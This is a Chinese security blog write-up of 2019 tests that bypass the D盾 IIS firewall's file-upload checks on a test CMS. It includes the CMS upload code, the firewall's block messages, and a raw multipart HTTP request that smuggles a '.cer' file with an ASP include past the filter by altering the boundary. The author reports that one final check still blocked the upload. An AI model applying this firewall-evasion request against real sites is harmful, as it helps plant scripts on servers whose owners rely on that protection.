D盾防火墙安全防护绕过-[文件上传]

本文涉及的产品
云防火墙,500元 1000GB
简介: D盾防火墙安全防护绕过-[文件上传]

0x01 前言

这个系列的绕过方式都是2019年测试的,当时测试版本为D盾v2.1.4.4,目前最新版本为D盾v2.1.6.2。安全防护的绕过方式都有时效性,所以以前测试的绕过方法可能大部分都已经失效了,但还是分享出来供大家参考下吧,有兴趣的可以自己去测试下最新版!


0x02 测试环境与基本信息

    操作系统:Windows Server 2008 R2 x64
    软件版本:D盾v2.1.4.4 [测试版]
    进程名称:d_manage.exe[D盾服务程序]、D_Safe_Manage.exe[D盾管理程序]
    服务名称:d_safe [D盾_服务程序(提供网站和服务器安全服务)]


    用于测试的演示源码为南方数据V11,主要为Upload_Photo.asp、Config.asp这两个文件,上传限制代码如下,是基于白名单来进行限制的,程序代码允许上传cer,但D盾防火墙禁止上传cer。

      <%@language=vbscript codepage=936 %>
      <!--#include file="Inc/config.asp"-->
      <!--#include file="Inc/upfile_class.asp"-->
      <%
      [...SNIP...]
      if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then  '检测上传文件扩展名
        EnableUpload=false
      end if
      if EnableUpload=false then
        msg="这种文件类型不允许上传!\n\n只允许上传这几种文件类型:" & UpFileType
        FoundErr=true
      end if
      [...SNIP...]
      %>
        Const MaxFileSize=200         '上传文件大小限制
        Const SaveUpFilesPath="UploadFiles"        '存放上传文件的目录
        Const UpFileType="gif|jpg|bmp|png|swf|doc|rar|cer|asa"         '允许的上传文件类型
        Const DelUpFiles="Yes"        '删除文章时是否同时删除文章中的上传文件
        Const SessionTimeout=30       'Session会话的保持时间


        0x03 防护绕过-[文件上传]

        功能介绍:

        D盾防火墙的上传文件防护功能主要用于检测:上传文件内容、上传扩展白名单、上传文件内容头、禁止脚本生成、文件内容长度限制等等。

          禁止上传内容中存在代码! "filename":"bypass.jpg"
          禁止上传此扩展的文件! "filename":"bypass.cer"
          [禁][上传文件:bypass.jpg 内容不符][filename] 3C 25 0D 0A 44 69 6D 20 44 61 696D │<% Dim Daim
          [禁止][上传模式禁脚本生成] C:\inetpub\wwwroot\nanfang\UploadFiles\20191243227714.cer
          <!--#include file="888888888888888888888888888888888888888888888888888888888888888888888888.inc"-->

          图2-4-1 D盾防火墙上传文件防护规则

          图2-4-2 D盾检测上传文件内容和扩展名

          解决方案:

          利用Boundary来绕过D盾防火墙的上传文件防护功能,在HTTP数据包上传文件名的Boundary末尾处添加一个换行符,或者删除一个横杠即可绕过。

            POST /nanfang/Upfile_Photo.asp HTTP/1.1
            Host: 192.168.0.108
            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
            Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
            Referer: http://192.168.0.108/nanfang/upload_Photo.asp?PhotoUrlID=6
            Content-Type: multipart/form-data; boundary=---------------------------491299511942
            [...SNIP...]
            -----------------------------491299511942
            Content-Disposition: form-data; name="FileName"; filename="bypass.cer";
            Content-Type: image/jpeg
            <!--#include file="888888888888888888888888888888888888888888888888888888888888888888888888.inc"-->
            [...SNIP...]
              ----------------------------491299511942
              Content-Disposition: form-data; name="FileName"; filename="bypass.cer";
              Content-Type: image/jpeg
              <!--#include file="888888888888888888888888888888888888888888888888888888888888888888888888.inc"-->
              [...SNIP...]

              图2-4-3 Boundary边界换行符绕过上传


              注意事项:

              虽然已经通过换行符、删除横杠的方式绕过了D盾防火墙文件上传防护中的文件内容、扩展名、文件头的检测,但是最后“脚本生成”还是没能绕过,上传的文件还是被拦截了,不得不承认D哥的盾防火墙在IIS防护中做的还是很强的,脚本生成、一句话免疫、执行系统命令等几个防护都不是很好绕,也可能是我太菜了。

              相关文章
              |
              SQL 测试技术 网络安全
              Bypass D盾_IIS防火墙SQL注入防御(多姿势)
              0X01 前言   D盾_IIS防火墙,目前只支持Win2003服务器,前阵子看见官方博客说D盾新版将近期推出,相信功能会更强大,这边分享一下之前的SQL注入防御的测试情况。D盾_IIS防火墙注入防御策略,如下图,主要防御GET/POST/COOKIE,文件允许白名单设置。
              2022 0
              |
              3月前
              |
              安全 Linux 应用服务中间件
              在Linux中,包过滤防火墙与代理应用防火墙有什么区别?有哪些相应的产品?
              在Linux中,包过滤防火墙与代理应用防火墙有什么区别?有哪些相应的产品?
              |
              2月前
              |
              机器学习/深度学习 安全 网络协议
              Linux防火墙iptables命令管理入门
              本文介绍了关于Linux防火墙iptables命令管理入门的教程,涵盖了iptables的基本概念、语法格式、常用参数、基础查询操作以及链和规则管理等内容。
              223 73
              |
              3天前
              |
              存储 运维 Linux
              Linux防火墙firewall的使用
              CentOS 7 中的 firewalld 是基于 Netfilter 的防火墙服务,支持动态配置,无需重启服务即可生效。它通过区域管理网络流量,每个区域可以设置不同的防火墙规则。默认区域为 public,可以通过命令行工具 firewall-cmd 进行管理和配置。firewalld 提供了丰富的预定义服务和区域,方便用户根据需求进行灵活配置。
              8 0
              |
              3月前
              |
              Linux 网络安全
              linux关闭方防火墙的命令
              linux关闭方防火墙的命令
              77 2
              |
              4月前
              |
              网络协议 Linux 网络安全
              入职必会-开发环境搭建39-Linux常用操作-Linux防火墙操作
              在CentOS 7中,新引入了firewalld服务(防火墙),取代了CentOS 6之前的iptables服务(防火墙)。
              入职必会-开发环境搭建39-Linux常用操作-Linux防火墙操作
              |
              3月前
              |
              Linux 网络安全
              在Linux中,如何设置防火墙规则?
              在Linux中,如何设置防火墙规则?
              |
              3月前
              |
              Linux 网络安全
              在Linux中,iptables和firewalld两种防火墙如何使用?
              在Linux中,iptables和firewalld两种防火墙如何使用?
              |
              3月前
              |
              安全 Linux 测试技术
              在Linux中,如何配置防火墙和安全规则?
              在Linux中,如何配置防火墙和安全规则?